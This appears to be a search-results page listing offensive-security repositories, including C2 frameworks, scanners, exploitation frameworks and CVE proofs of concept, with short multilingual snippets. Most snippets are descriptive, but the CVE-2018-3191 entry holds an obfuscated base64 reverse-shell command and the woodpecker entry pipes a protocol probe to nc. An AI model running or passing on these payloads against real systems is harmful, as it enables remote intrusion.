136281 matches found
sentinel-mcp
SentinelMCP — AI-Powered Cyber Defense System Google Cloud Hackathon submission — Autonomous threat detection and remediation orchestrated by Google Cloud Agent Builder Vertex AI Agent , powered by Gemini 2.0 Flash, Model Context Protocol MCP, and Dynatrace observability. The Problem Security tea...
OST-C2-Spec
Brouillon : Demande de Discussion Résumé Ce document donne un aperçu de la version 1 de la spécification OST C&C. Il est destiné à fournir une description détaillée des messages et des champs contenus dans ces messages. Introduction La motivation derrière cette spécification est de fournir un...
WAREED-DNS-C2
Wareed DNS C2 WAREED est un framework de commande et de contrôle C2 qui utilise le protocole DNS pour des communications sécurisées entre le serveur et la cible. Conçu pour minimiser les communications et limiter l'échange de données, il est destiné à être un C2 de première étape pour persister s...
quicmap
quicmap Plutôt rapide scanneur de services QUIC quicmap est un scanneur de services QUIC relativement rapide qui évite d'avoir à utiliser plusieurs outils pour identifier les services QUIC, la version du protocole utilisée ainsi que les ALPN pris en charge. Principales fonctionnalités Scanne des...
BlockChainSec
Présentation du projet Ce projet est principalement utilisé pour organiser et consolider les ressources et la documentation technique liées à la sécurité de la blockchain. Il couvre principalement les aspects suivants : Connaissances de base Analyse de protocole Audit de contrats Fondamentaux des...
woodpecker-plugins
استخدام woodpecker-plugins انسخ الإضافات إلى دليل woodpecker-framwork/plugin، ثم شغّل java -jar woodpecker-framework.1.3.3.jar من https://github.com/woodpecker-appstore weblogic-info التحقق من أن T3 مفتوح: echo 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'|nc 10.20.31.189...
MoxaPass
Ceci est un exemple d'exploit pour CVE-2016-9361. Il récupère la chaîne de communauté SNMP et le mot de passe « admin » pour de nombreux types d'appareils Moxa. Il utilise le protocole de gestion propriétaire UDP/4800 de Moxa. Ce protocole manque de sécurité, et l'utilisation du code de fonction ...
CVE-2026-7473---Arista-EOS-Tunnel-Decapsulation-Bypass
README.md markdown CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass ⚠️ WARNING This code is ONLY for educational purposes and authorized security testing. 📋 Description CVE-2026-7473 is a vulnerability in Arista EOS where a switch configured as a tunnel endpoint VXLAN, GRE, decap-groups...
isf
Industrial Exploitation Framework ISFIndustrial Exploitation Framework is a exploitation framework based on Python, it's similar to metasploit framework. ISF is based on open source project routersploit. Read this in other languages:English, 简体中文, Disclaimer Usage of ISF for attacking targets...
isf
إطار الاستغلال الصناعي ISF إطار الاستغلال الصناعي هو إطار استغلال مبني على بايثون، مشابه لإطار metasploit. ISF مبني على المشروع مفتوح المصدر routersploit. اقرأ هذا بلغات أخرى:English, 简体中文, إخلاء مسؤولية استخدام ISF لمهاجمة أهداف دون موافقة مسبقة متبادلة هو عمل غير قانوني. يتحمل المستخدم النهائي...
urh
إن Universal Radio Hacker URH عبارة عن مجموعة كاملة للتحقيق في البروتوكولات اللاسلكية مع دعم أصلي للعديد من أجهزة الراديو المعرفة بالبرمجيات الشائعة. يتيح URH إزالة تشكيل سهلة للإشارات مع كشف تلقائي لمعلمات التشكيل مما يجعل من السهل تحديد البتات والبايتات التي تطير عبر الهواء. نظرًا لأن البيانات...
CVE-2026-11109-Bluetooth-Classic-KNOB-Attack-Key-Negotiation-of-Bluetooth-
CVE-2026-11109 – Attaque KNOB Bluetooth Classic Négociation de clé Bluetooth Code du programme simulation Python knobattacksim.py - Simulates negotiation of encryption key size to 1 byte import random, hashlib class BluetoothDevice: def negotiatekeysizeself, proposedsize: Vulnerable: accepts any...
MSF_PassSpray_Wordlist_Generator
Password Spray Wordlist Generator A handy tool that helps you to create your own wordlist for Metasploit framework, in order to carry out a password spray attack against various network protocols in your victims' domain, such as SMB : Description Metasploit has multiple modules that can be utiliz...
CVE-2020-1938-Tool
CVE-2020-1938-Tool First of all, thanks to hypn0s for providing AJPY, a tool for constructing AJP protocol requests a Python library. Based on this, this project implements batch detection of Ghostcat vulnerability sites. Usage Currently has two functions usage: tomcat.py -h readfile,scanfiles...
CVE-2018-3191
CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...
CVE-2020-0796-POC
CVE-2020-0796 Pre-Auth POC c 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes POC to check for CVE-2020-0796 / "SMBGhost" Expected outcome: Blue Screen Intended only for educational and testing in corporate environments. ZecOps takes no responsibility for the code, use at you...
cve-2023-30990
cve-2023-30990-rce IBM i DDM Unauthenticated RCE - Java Reverse Shell...
PT-2026-108770
In the Linux kernel, the following vulnerability has been resolved: bpf: Fix out-of-bounds read of sk protocol in bpf sock destroy sk protocol lives in struct sock, not in struct sock common. A timewait or request sock handed to bpf sock destroy by the tcp iterator is neither, so reading sk-sk...
Linux Distros Unpatched Vulnerability : CVE-2026-107655
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in CUPS. When processing embedded job ticket comments within documents, the service improperly handles specific IPP attributes, causing an...
CVE-2025-55182
CVE-2025-55182 إذا كنت تبحث عن شرح فعلي، فإن msanft/CVE-2025-55182 يقدم شرحًا جيدًا مع PoC عملي. يحتوي هذا المستودع فقط على بعض الأشياء التي جربتها، والتي أسفرت عن نتائج مثيرة للاهتمام نوعًا ما. يحتوي ./thing.py الآن على PoC عملي، ومعظمه مأخوذ من...